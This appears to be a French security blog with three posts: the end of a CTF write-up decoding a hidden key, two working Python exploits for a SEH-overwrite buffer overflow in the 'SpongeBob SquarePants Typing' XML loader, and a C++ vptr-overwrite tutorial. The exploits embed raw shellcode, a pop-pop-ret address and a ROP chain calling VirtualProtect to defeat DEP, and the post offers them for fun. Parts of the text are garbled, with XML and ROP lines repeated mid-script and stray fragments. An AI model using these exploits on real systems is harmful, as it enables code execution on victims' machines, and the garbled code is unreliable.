0001b520 01 82 a1 9c ec fd 37 7a 58 5a 00 00 04 e6 d6 b4 |......7zXZ......|
On va extraire donc l'archive :
dd if=./wad.bin skip=111905 of=./wad.xz bs=1 count=3797368
Une fois l'archive récupéré, on se rend compte que c'est un rootfs.
On touille dedans pendant un moment, en se demandant mais qu'est qu'on cherche ?
A partir de là on teste de faire differ à partir du pdf original :
http://jailbreakme.com/_/iPhone2%2c1_3.1.2.pdf
Mise à part des ".svn" un binaire nous saute aux yeux : /usr/bin/dd
Si on string dessus, ca n'a pas du tout l'air d'un binaire dd.
On regarde avec IDA le code ARM mais sans résultat, ce code ne fait strictement rien, d'intéressant.
Par ailleur il y a 4 grand nombres qui ressortent, on décide donc de les mettre dans des double dans un programme en C :
#include <stdio.h> double a=41358753080588780315500696417148503196370008505043360338644939021284539327654424368206170740213813076058322365516034006270625614745638277215965686397551374257625369654940618745555501980517665488240640.000000; double b=273020167277193934342483321951392739131140631949880731514555218503200924051802886516416983650292597201352459748672990971210795734498587443982103979231419127824384.000000; double c=109868682199889090983893607446542759799370795099978204527886814871815275332732684149782782932243583477726231807149879389352427825978796531514954916754473975757796372140255258111985922092457311221042226817127194804092923531694479704498641458322997248.000000; double d=8887824086628450300085222950423508459269193936749714415660759918033307608850811297588582757614917095982291010098451602122996273175590810261747631678220597664532468741350897995232883808808537964727011624779797357169712195651789942060581116921485444775936.000000; int main(void) { char *p = NULL; int i; p = (char*)&a; for (i = 0; i < sizeof(double); i++) printf("%c", p[i]); p = (char*)&b; for (i = 0; i < sizeof(double); i++) printf("%c", p[i]); p = (char*)&c; for (i = 0; i < sizeof(double); i++) printf("%c", p[i]); p = (char*)&d; for (i = 0; i < sizeof(double); i++) printf("%c", p[i]); }
Key
Et cela nous affiche gentiment la clef qui est :
DDTEKJailbreaksarethemostbestest
Playing with SpongeBob
Introduction
Ce billet est là juste pour le fun et pour faire un petit signe de vie.
Il est dimanche, un lendemain de soirée, je me demande bien ce que je vais faire, un ami "thrashboul" m'avait montré un lien sur pastebin d'un exploit pour SpongeBob ( oui ! le jeux bob l'éponge), ne remettant pas la main dessus. Je me décide de le réecrire.
Problème
Le probléme se situe dans le loader du jeu "SpongeBob SquarePants Typing", il parse un fichier xml et récupère un path se situant dans la balise <userPath> mais ne vérifie pas la longueur de la chaine. Vous vous en doutez, ça aboutit sur un buffer overflow mais plus précisément sur un seh overwrite.
Je vais juste poster ici mes 2 exploits, un dans le cas ou sur la machine DEP n'est pas activé et l'autre dans le cas ou cette protection est belle est bien active. Ici ce sont des windows XP SP3.
SEH overwrite without defeating dep
#!/usr/bin/env python from struct import pack,unpack ########################################################################################### # # # First excpetion occurs -------------|| # # || # # |-----------||---------------| # # | || | # # | \/ \/ # # [Junk Buffer] [Next SEH] [SE Handler] [Shellcode] # # jmp over pop pop ret # # SE handler | # # /\ | # # || | # # ||------------| # # # ########################################################################################### f = open('salstartup.xml', 'w') content_begin = """<?xml version="1.0" standalone="yes"?> <startup> <userPath>\"""" shellcode = "\xd9\xf6\xba\x24\xb5\x20\x67\xd9\x74\x24\xf4\x5f\x2b\xc9\xb1\x38\x31\x57\x17\x03\x57\x17\x83\xcb\x49\xc2\x92\xef\x5a\x8a\x5d\x0f\x9b\xed\xd4\xea\xaa\x3f\x82\x7f\x9e\x8f\xc0\x2d\x13\x7b\x84\xc5\xa0\x09\x01\xea\x01\xa7\x77\xc5\x92\x09\xb8\x89\x51\x0b\x44\xd3\x85\xeb\x75\x1c\xd8\xea\xb2\x40\x13\xbe\x6b\x0f\x86\x2f\x1f\x4d\x1b\x51\xcf\xda\x23\x29\x6a\x1c\xd7\x83\x75\x4c\x48\x9f\x3e\x74\xe2\xc7\x9e\x85\x27\x14\xe2\xcc\x4c\xef\x90\xcf\x84\x21\x58\xfe\xe8\xee\x67\xcf\xe4\xef\xa0\xf7\x16\x9a\xda\x04\xaa\x9d\x18\x77\x70\x2b\xbd\xdf\xf3\x8b\x65\xde\xd0\x4a\xed\xec\x9d\x19\xa9\xf0\x20\xcd\xc1\x0c\xa8\xf0\x05\x85\xea\xd6\x81\xce\xa9\x77\x93\xaa\x1c\x87\xc3\x12\xc0\x2d\x8f\xb0\x15\x57\xd2\xde\xe8\xd5\x68\xa7\xeb\xe5\x72\x87\x83\xd4\xf9\x48\xd3\xe8\x2b\x2d\x2b\xa3\x76\x07\xa4\x6a\xe3\x1a\xa9\x8c\xd9\x58\xd4\x0e\xe8\x20\x23\x0e\x99\x25\x6f\x88\x71\x57\xe0\x7d\x76\xc4\x01\x54\x15\xd0\xa1\x20\xb3\x4a\x3e\xa0\x34\xe1\xe2\x4d\xc2\x76\x6f\xd7\x59\x4b\xbd\x4b\xc1\xca\xad\x10\x2b\x69\x56\xb2\x33" junk = 'Z' * 1024 spled = "\x90" * 1000 jump_6 = "\xeb\x06\x90\x90" pop_pop_ret = pack("<I", 0x21134E57) # pop pop ret from mss32.dll (/SAFESEH:NO) content_end = """\"</userPath> <cdName>"SpongeBob SquarePants Typing"</cdName> <cdAge>7-10</cdAge> <music>1000</music> <pdfInstaller>"C:\wtf\Nouveau dossier\INSTALL\ACROBAT\Ver50\Acrobat Reader 5 Installer.exe"</pdfInstaller> <signin> <execute>yes</execute> <style>tlc</style> <age>4To6</age> <rscFile>default</rscFile> </signin> <disk1> <filename>"C:\wtf\Nouveau dossier\TLC\383167-CD"</filename> <cdName>"SpongeBob SquarePants Typing"</cdName> </disk1> <screenRSC>salstartup.rsc</screenRSC> <screen> <element> <condition>all</condition> <type>scene</type> <id>9100</id> </element> <element> <condition>all</condition> <type>toon</type> <x>0</x> <y>0</y> <id>9100</id> <startFrame>1</startFrame> </element> <mainPlayButton> <condition>all</condition> <type>fob</type> <class>play</class> <cdCheck>disk1</cdCheck> <target>"C:\Program Files\The Learning Company\SpongeBob SquarePants Typing\SPT.exe"</target> <postLaunch>wait</postLaunch> <x>461</x> <y>60</y> <id>9124</id> </mainPlayButton> <helpButton> <condition>all</condition> <type>fob</type> <class>extension</class> <cdCheck></cdCheck> <target>"C:\Program Files\The Learning Company\SpongeBob SquarePants Typing\User's Guide.pdf"</target> <parameters></parameters> <postLaunch>wait</postLaunch> <x>543</x> <y>158</y> <id>9126</id> </helpButton> <uninstallButton> <condition>all</condition> <type>fob</type> <class>uninstall</class> <target>C:\WINDOWS\TLCUninstall.exe</target> <parameters>-l</parameters> <crc>"C:\Program Files\The Learning Company\SpongeBob SquarePants Typing\Uninstall.xml"</crc> <postLaunch>exit</postLaunch> <x>514</x> <y>373</y> <id>9125</id> </uninstallButton> <onlineButton> <condition>all</condition> <type>fob</type> <class>link</class> <cdCheck></cdCheck> <target>http://redirect.expressit.com/redirect.asp?resku=383167&action_id=Launcher</target> <parameters></parameters> <postLaunch>wait</postLaunch> <x>538</x> <y>263</y> <yy>375</yy> <id>9130</id> </onlineButton> <EregButton> <condition>all</condition> <type>fob</type> <class>install</class> <cdCheck></cdCheck> <target>"C:\Program Files\The Learning Company\SpongeBob SquarePants Typing\ereg\ereg32.exe"</target> <parameters></parameters> <postLaunch>wait</postLaunch> <x>522</x> <y>324</y> <id>9129</id> </EregButton> <SellScreen> <condition>all</condition> <type>fob</type> <class>link</class> <cdCheck>disk1</cdCheck> <target>startup:startup/BrandingPage</target> <parameters></parameters> <postLaunch>wait</postLaunch> <x>543</x> <y>207</y> <id>9128</id> </SellScreen> </screen> <BrandingPage> <element> <condition>all</condition> <type>toon</type> <id>5000</id> </element> <screenSaverButton> <condition>all</condition> <type>fob</type> <class>install</class> <cdCheck>disk1</cdCheck> <target>"C:\wtf\Nouveau dossier\SailorificStuff\sbscreen_setup.exe"</target> <parameters></parameters> <postLaunch>wait</postLaunch> <x>546</x> <y>188</y> <id>5054</id> </screenSaverButton> <backButton> <condition>all</condition> <type>fob</type> <class>link</class> <target>startup:startup/screen</target> <x>537</x> <y>263</y> <id>5055</id> </backButton> </BrandingPage> <sysReq> <execute>yes</execute> <pc> <processor> <family>pentium</family> <speed>266</speed> <msgType>warn</msgType> <msgText>"266 MHz Pentium or faster is recommended."</msgText> </processor> <os> <Win95>no</Win95> <Win98>yes</Win98> <WinMe>yes</WinMe> <WinNT4>no</WinNT4> <Win2000>yes</Win2000> <WinXP>yes</WinXP> <msgType>warn</msgType> <msgText>"You operating system is not supported. Play at your own risk!"</msgText> </os> <diskSpace> <mbAvailable>100</mbAvailable> <msgType>ignore</msgType> <msgText>"There is not enough hard disk space available to play!"</msgText> </diskSpace> <physicalRAM> <mbAvailable>64</mbAvailable> <msgType>warn</msgType> <msgText>"There is not enough RAM available to play!"</msgText> </physicalRAM> <availableRAM> <mbAvailable>64</mbAvailable> <msgType>warn</msgType> <msgText>You are low on memory!</msgText> </availableRAM> <display> <width>800</width> <height>600</height> <bits>16</bits> <msgType>fail</msgType> <msgText>"Your display is not capable of 800 x 600 16-bit, thousands of colors."</msgText> </display> <sound> <msgType>fail</msgType> <msgText>"WAVE driver is not available."</msgText> </sound> </pc> <mac> <processor> <family>ppc</family> <speed>233</speed> <msgType>warn</msgType> <msgText>"233 MHz Powerpc or faster is recommended."</msgText> </processor> <os> <minVersion>0860</minVersion> <msgType>fail</msgType> <msgType>fail</msgType> <msgText>"Your display is not capable of 800 x 600 16-bit, thousands of colors."</msgText> </display> <sound> <msgType>fail</msgType> <msgText>"WAVE driver is not available."</msgText> </sound> </pc> <mac> <processor> <family>ppc</family> <speed>233</speed> <msgType>warn</msgType> <msgText>"233 MHz Powerpc or faster is recommended."</msgText> </processor> <os> <minVersion>0860</minVersion> <msgType>fail</msgType> <msgText>"You must run System 8.6 or above!"</msgText> </os> <osX> <minVersion>1004</minVersion> <msgType>fail</msgType> <msgText>"You must run OSX 10.04 or above!"</msgText> </osX> <diskSpace> <mbAvailable>100</mbAvailable> <msgType>ignore</msgType> <msgText>"There is not enough hard disk space available to play!"</msgText> </diskSpace> <physicalRAM> <mbAvailable>64</mbAvailable> <msgType>warn</msgType> <msgText>"There is not enough RAM available to play!"</msgText> </physicalRAM> <availableRAM> <mbAvailable>0</mbAvailable> <msgType>warn</msgType> <msgText></msgText> </availableRAM> <colorDepth> <minBits>16</minBits> <msgType>warn</msgType> <msgText>"Your display is not capable of 16-bit, thousands of colors."</msgText> </colorDepth> <sound> <available>ignore</available> <msgType>ignore</msgType> <msgText></msgText> </sound> </mac> </sysReq> </startup>""" f.write(content_begin + junk + jump_6 + pop_pop_ret + shellcode + spled + content_end)
SEH overwrite using rop
Ici j'ai dégagé tout le xml et je n'ai laissé que la partie fun c'est à dire toute la partie qui me permet de pivoter ma stack, la chaine de rop pour générer mes paramètres pour un call a VirtalProtect() afin de rendre la zone mémoire ou réside mon shellcode en PAGEEXECUTEREADWRITE.
#!/usr/bin/env python from struct import pack,unpack shellcode = "\xd9\xf6\xba\x24\xb5\x20\x67\xd9\x74\x24\xf4\x5f\x2b\xc9\xb1\x38\x31\x57\x17\x03\x57\x17\x83\xcb\x49\xc2\x92\xef\x5a\x8a\x5d\x0f\x9b\xed\xd4\xea\xaa\x3f\x82\x7f\x9e\x8f\xc0\x2d\x13\x7b\x84\xc5\xa0\x09\x01\xea\x01\xa7\x77\xc5\x92\x09\xb8\x89\x51\x0b\x44\xd3\x85\xeb\x75\x1c\xd8\xea\xb2\x40\x13\xbe\x6b\x0f\x86\x2f\x1f\x4d\x1b\x51\xcf\xda\x23\x29\x6a\x1c\xd7\x83\x75\x4c\x48\x9f\x3e\x74\xe2\xc7\x9e\x85\x27\x14\xe2\xcc\x4c\xef\x90\xcf\x84\x21\x58\xfe\xe8\xee\x67\xcf\xe4\xef\xa0\xf7\x16\x9a\xda\x04\xaa\x9d\x18\x77\x70\x2b\xbd\xdf\xf3\x8b\x65\xde\xd0\x4a\xed\xec\x9d\x19\xa9\xf0\x20\xcd\xc1\x0c\xa8\xf0\x05\x85\xea\xd6\x81\xce\xa9\x77\x93\xaa\x1c\x87\xc3\x12\xc0\x2d\x8f\xb0\x15\x57\xd2\xde\xe8\xd5\x68\xa7\xeb\xe5\x72\x87\x83\xd4\xf9\x48\xd3\xe8\x2b\x2d\x2b\xa3\x76\x07\xa4\x6a\xe3\x1a\xa9\x8c\xd9\x58\xd4\x0e\xe8\x20\x23\x0e\x99\x25\x6f\x88\x71\x57\xe0\x7d\x76\xc4\x01\x54\x15\xd0\xa1\x20\xb3\x4a\x3e\xa0\x34\xe1\xe2\x4d\xc2\x76\x6f\xd7\x59\x4b\xbd\x4b\xc1\xca\xad\x10\x2b\x69\x56\xb2\x33" junk = 'Z' * (1000 - len(shellcode) - 0x17) junk += shellcode junk += "Z" * 0x17 junk += pack("<I", 0x7C97A1A8) # 0x7C97A1A8 : {POP} # PUSH ESP # ADD BH,BH # DEC ECX # POP EAX # POP EBP # RETN 4 [Module : ntdll.dll] ** junk += "Z" * 4 junk += pack("<I", 0x77EA9C3E) # 0x77EA9C3E : {POP} # ADD EAX,0E # POP ESI # POP EBP # RETN 8 [Module : RPCRT4.dll] ** junk += 'Z' * 12 junk += pack("<I", 0x77BED8A9) # 0x77BED8A9 : # SUB EAX,20 # POP EBP # RETN [Module : msvcrt.dll] ** junk += pack("<I", 0x2112BF80) # SEH HANDLER # 0x2112BF80 : 800 : # ADD ESP,800 # RETN - mss32.dll - ** junk += "Z" * 8 for i in range(1, 9): junk += pack("<I", 0x77BED8A9) # 0x77BED8A9 : # SUB EAX,20 # POP EBP # RETN [Module : msvcrt.dll] ** junk += "Z" * 4 junk += pack("<I", 0x7C81E6D9) # 0x7C81E6D9 : # MOV EDI,EAX # RETN [Module : kernel32.dll] ** junk += pack("<I", 0x77BED8A9) # 0x77BED8A9 : # SUB EAX,20 # POP EBP # RETN [Module : msvcrt.dll] ** junk += "Z" * 4 junk += pack("<I", 0x77BED8A9) # 0x77BED8A9 : # SUB EAX,20 # POP EBP # RETN [Module : msvcrt.dll] ** junk += "Z" * 4 junk += pack("<I", 0x7C97A1A8) # 0x7C97A1A8 : {POP} # PUSH ESP # ADD BH,BH # DEC ECX # POP EAX # POP EBP # RETN 4 [Module : ntdll.dll] ** junk += "Z" * 4 junk += pack("<I", 0x7759156D) # 0x7759156D : # INC ESI # PUSH EAX # POP ESI # RETN [Module : ole32.dll] ** junk += "Z" * 4 junk += pack("<I", 0x77BEE842) # 0x77BEE842 : {POP} # PUSH EDI # POP EAX # POP EBP # RETN [Module : msvcrt.dll] ** junk += "Z" * 4 junk += pack("<I", 0x58BB8E2A) # 0x58BB8E2A : # MOV DWORD PTR DS:[ESI+84],EAX # MOV EAX,ESI # POP ESI # RETN [Module : COMCTL32.dll] ** junk += "Z" * 4 junk += pack("<I", 0x774F5103) # 0x774F5103 : # ADD EAX,4 # RETN [Module : ole32.dll] ** junk += pack("<I", 0x7759156D) # 0x7759156D : # INC ESI # PUSH EAX # POP ESI # RETN [Module : ole32.dll] ** junk += pack("<I", 0x77BEE842) # 0x77BEE842 : {POP} # PUSH EDI # POP EAX # POP EBP # RETN [Module : msvcrt.dll] ** junk += "Z" * 4 junk += pack("<I", 0x58BB8E2A) # 0x58BB8E2A : # MOV DWORD PTR DS:[ESI+84],EAX # MOV EAX,ESI # POP ESI # RETN [Module : COMCTL32.dll] ** junk += "Z" * 4 junk += pack("<I", 0x774F5103) # 0x774F5103 : # ADD EAX,4 # RETN [Module : ole32.dll] ** junk += pack("<I", 0x7759156D) # 0x7759156D : # INC ESI # PUSH EAX # POP ESI # RETN [Module : ole32.dll] ** #junk += pack("<I", 0x7752E074) # 0x7752E074 : # XOR EAX,EAX # ADD EAX,328 # RETN [Module : ole32.dll] ** junk += pack("<I", 0x77C241E1) # 0x77C241E1 : # XOR EAX,EAX # RETN [Module : msvcrt.dll] ** junk += pack("<I", 0x775A1457) # 0x775A1457 : # ADD EAX,23C # RETN [Module : ole32.dll] ** junk += pack("<I", 0x58BB8E2A) # 0x58BB8E2A : # MOV DWORD PTR DS:[ESI+84],EAX # MOV EAX,ESI # POP ESI # RETN [Module : COMCTL32.dll] ** junk += "Z" * 4 junk += pack("<I", 0x774F5103) # 0x774F5103 : # ADD EAX,4 # RETN [Module : ole32.dll] ** junk += pack("<I", 0x7759156D) # 0x7759156D : # INC ESI # PUSH EAX # POP ESI # RETN [Module : ole32.dll] ** >) # 0x774F5103 : # ADD EAX,4 # RETN [Module : ole32.dll] ** junk += pack("<I", 0x7759156D) # 0x7759156D : # INC ESI # PUSH EAX # POP ESI # RETN [Module : ole32.dll] ** #junk += pack("<I", 0x7752E074) # 0x7752E074 : # XOR EAX,EAX # ADD EAX,328 # RETN [Module : ole32.dll] ** junk += pack("<I", 0x77C241E1) # 0x77C241E1 : # XOR EAX,EAX # RETN [Module : msvcrt.dll] ** junk += pack("<I", 0x775A1457) # 0x775A1457 : # ADD EAX,23C # RETN [Module : ole32.dll] ** junk += pack("<I", 0x58BB8E2A) # 0x58BB8E2A : # MOV DWORD PTR DS:[ESI+84],EAX # MOV EAX,ESI # POP ESI # RETN [Module : COMCTL32.dll] ** junk += "Z" * 4 junk += pack("<I", 0x774F5103) # 0x774F5103 : # ADD EAX,4 # RETN [Module : ole32.dll] ** junk += pack("<I", 0x7759156D) # 0x7759156D : # INC ESI # PUSH EAX # POP ESI # RETN [Module : ole32.dll] ** junk += pack("<I", 0x77C241E1) # 0x77C241E1 : # XOR EAX,EAX # RETN [Module : msvcrt.dll] ** junk += pack("<I", 0x77C1EC1D) # 0x77C1EC1D : # ADD EAX,40 # POP EBP # RETN [Module : msvcrt.dll] ** junk += "Z" * 4 junk += pack("<I", 0x58BB8E2A) # 0x58BB8E2A : # MOV DWORD PTR DS:[ESI+84],EAX # MOV EAX,ESI # POP ESI # RETN [Module : COMCTL32.dll] ** for i in range(1, 8): junk += pack("<I", 0x77C241E1) # 0x77C241E1 : # XOR EAX,EAX # RETN [Module : msvcrt.dll] ** params = pack("<I", 0x7C801AD4) # 0x7C801AD4 : VirtualProtect() params = params + "OSEF" params = params + "OSEF" params = params + "OSEF" params = params + "OSEF" params = params + pack("<I",0x2114d010) nops = '\x90' * 900 payload = junk + params + nops f.write(content_begin + payload + content_end)
Éclatez vous bien :].
Having fun with vptr
Présentation
Chaque classe qui utilise des méthodes virtuelles ( ou qui dérive d'une classe qui utilise des méthodes virtuelles ) lui est attribuée une virtual table. Cette table est simplement un tableau que le compilateur va créer statiquement.
Une vtable va contenir une entrée ( qui sera en l'occurence un pointeur de fonction ) pour chaque méthode qui peuvent etre appelé par la classe.
Afin de permettre à chacune des instances de notre objet d'accéder a sa vtable, le compilateur va ajouter un pointeur vers cette table qu'on appelle le vptr.
Exemple
#include <stdio.h> #include <string.h> #include <iostream> class Person { public: virtual void name_set (char *name) { strcpy (name_, name); } virtual void print () { std::cout << "My name is " << name_ << std::endl; } private: char name_[32]; }; class Man : public Person { public: void print () { std::cout << "I'm a Man" << std::endl; Person::print (); } }; class Women : public Person { public: void print () { std::cout << "I'm a Women" << std::endl; Person::print (); } }; int main(int argc, char **argv) { Person *person_one = 0; Person *person_two = 0; person_one = new Man; person_two = new Women; person_one->name_set (argv[1]); person_two->name_set (argv[1]); person_one->print (); person_two->print (); return (0); }
Ici nous avons affaire à 3 classes, donc notre compilateur mettra en place 3 vtable. Une pour Person, une pour Man et une pour Women.
Le compilateur va ajouter un pointeur dans la classe mère pour permettre aux instances de nos classe fille, d'accéder à leur vtable au moment de l'éxecution de la maniere suivante :
class Person
{
public:
FuncPtr*__vptr;
void name_set (char *name);
...etc...
};
Hmm un schéma serait plus clair non ?
Regardons le disas de tout ça :
(gdb) disas main
Dump of assembler code for function main:
0x08048620 <main+0>: lea ecx,[esp+4]
0x08048624 <main+4>: and esp,0xfffffff0
0x08048627 <main+7>: push DWORD PTR [ecx-4]
0x0804862a <main+10>: push ebp
0x0804862b <main+11>: mov ebp,esp
0x0804862d <main+13>: push esi
0x0804862e <main+14>: push ebx
0x0804862f <main+15>: push ecx
0x08048630 <main+16>: sub esp,0x1c
0x08048633 <main+19>: mov esi,ecx
0x08048635 <main+21>: mov DWORD PTR [ebp-20],0x0
0x0804863c <main+28>: mov DWORD PTR [ebp-16],0x0
0x08048643 <main+35>: mov DWORD PTR [esp],0x24 // 0x24 = 36 octets ( 32 octets pour le buffer + 4 octets pour la vtable )
0x0804864a <main+42>: call 0x80484a4 <_init+84> // Appel a new pour reserver 36 octets dans notre heap
0x0804864f <main+47>: mov ebx,eax
0x08048651 <main+49>: mov DWORD PTR [esp],ebx // On place le pointeur this (persone_one) sur la stack
0x08048654 <main+52>: call 0x80486f0 <_ZN3ManC1Ev> // Appel au constructeur Man ()
0x08048659 <main+57>: mov DWORD PTR [ebp-20],ebx
0x0804865c <main+60>: mov DWORD PTR [esp],0x24 // 0x24 = 36 octets ( 32 octets pour le buffer + 4 octets pour la vtable )
0x08048663 <main+67>: call 0x80484a4 <_init+84> // Appel a new pour reserver 36 octets dans notre heap
0x08048668 <main+72>: mov ebx,eax
0x0804866a <main+74>: mov DWORD PTR [esp],ebx // On place le pointeur this (persone_two) sur la stack
0x0804866d <main+77>: call 0x8048710 <_ZN5WomenC1Ev> // Appel au constructeur Women ()
0x08048672 <main+82>: mov DWORD PTR [ebp-16],ebx
0x08048675 <main+85>: mov eax,DWORD PTR [ebp-20] // On recupere notre pointeur sur l'objet persone_one
0x08048678 <main+88>: mov eax,DWORD PTR [eax] // Eax recoit l'adresse de la vtable
0x0804867a <main+90>: mov edx,DWORD PTR [eax] // Edx recoit l'adresse de la methode Person::name_set
0x0804867c <main+92>: mov eax,DWORD PTR [esi+4]
0x0804867f <main+95>: add eax,0x4
0x08048682 <main+98>: mov eax,DWORD PTR [eax]
0x08048684 <main+100>: mov DWORD PTR [esp+4],eax
0x08048688 <main+104>: mov eax,DWORD PTR [ebp-20]
0x0804868b <main+107>: mov DWORD PTR [esp],eax // On place le pointeur this (persone_one) sur la stack
0x0804868e <main+110>: call edx // On apelle la methode Person::name_set
0x08048690 <main+112>: mov eax,DWORD PTR [ebp-16] // On recupere notre pointeur sur l'objet persone_two
0x08048693 <main+115>: mov eax,DWORD PTR [eax] // Eax recoit l'adresse de la vtable
0x08048695 <main+117>: mov edx,DWORD PTR [eax] // Edx recoit l'adresse de la methode Person::name_set
0x08048697 <main+119>: mov eax,DWORD PTR [esi+4]
0x0804869a <main+122>: add eax,0x4
0x0804869d <main+125>: mov eax,DWORD PTR [eax]
0x0804869f <main+127>: mov DWORD PTR [esp+4],eax
0x080486a3 <main+131>: mov eax,DWORD PTR [ebp-16]
0x080486a6 <main+134>: mov DWORD PTR [esp],eax // On place le pointeur this (persone_two) sur la stack
0x080486a9 <main+137>: call edx // On apelle la methode Person::name_set
0x080486ab <main+139>: mov eax,DWORD PTR [ebp-20] // On recupere notre pointeur sur l'objet persone_one
0x080486ae <main+142>: mov eax,DWORD PTR [eax] // Eax recoit l'adresse de la vtable
0x080486b0 <main+144>: add eax,0x4 // On ajoute 4 pour arriver sur la deuxieme entree de la vtable pour recuper le pointeur sur la methode print
0x080486b3 <main+147>: mov edx,DWORD PTR [eax] // Edx recoit l'adresse de la methode Man::print
0x080486b5 <main+149>: mov eax,DWORD PTR [ebp-20]
0x080486b8 <main+152>: mov DWORD PTR [esp],eax // On place le pointeur this (persone_one) sur la stack
0x080486bb <main+155>: call edx // On apelle la methode Man::print
0x080486bd <main+157>: mov eax,DWORD PTR [ebp-16] // On recupere notre pointeur sur l'objet persone_two
0x080486c0 <main+160>: mov eax,DWORD PTR [eax] // Eax recoit l'adresse de la vtable
0x080486c2 <main+162>: add eax,0x4 // On ajoute 4 pour arriver sur la deuxieme entree de la vtable pour recuper le pointeur sur la methode print
0x080486c5 <main+165>: mov edx,DWORD PTR [eax] // Edx recoit l'adresse de la methode Women::print
0x080486c7 <main+167>: mov eax,DWORD PTR [ebp-16]
0x080486ca <main+170>: mov DWORD PTR [esp],eax // On place le pointeur this (persone_two) sur la stack
0x080486cd <main+173>: call edx // On apelle la methode Man::print
0x080486cf <main+175>: mov eax,0x0
0x080486d4 <main+180>: add esp,0x1c
0x080486d7 <main+183>: pop ecx
0x080486d8 <main+184>: pop ebx
0x080486d9 <main+185>: pop esi
0x080486da <main+186>: pop ebp
0x080486db <main+187>: lea esp,[ecx-4]
0x080486de <main+190>: ret
0x080486df <main+191>: nop
End of assembler dump.
Analyse
Après cette petite analyse sous gdb, on peut schématiser tout ça :
Avec le code pris comme exemple (présence de strcpy), il nous vient à l'idée de faire déborder le buffer de l'objet persone_one et venir écraser le pointeur sur la vtable (Women __vptr) de l'objet person_two.
Partons sur un exemple d'exploitation ou aucun système comme l'ASLR n'est en place :
- On sait que la vtable de Man est en 0x08048870.
- On va donc venir écraser l'adresse du vptr de Women par cette adresse.
% ./a.out name
I'm a man
My name is name
I'm a women // La methode print de la classe Women est bien appelle
My name is name
% ./a.out perl -e'print "A"x(32+12) . "\x70\x88\x04\x08"'
I'm a man
My name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp
I'm a man // C'est un objet de type Women mais en remplacant son vptr, il appelle la methode print appartenant a un objet de type Man
My name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp
En espérant vous avoir donné quelques idées et qu'il n'y a pas que les programmes C qui peuvent etre exploités.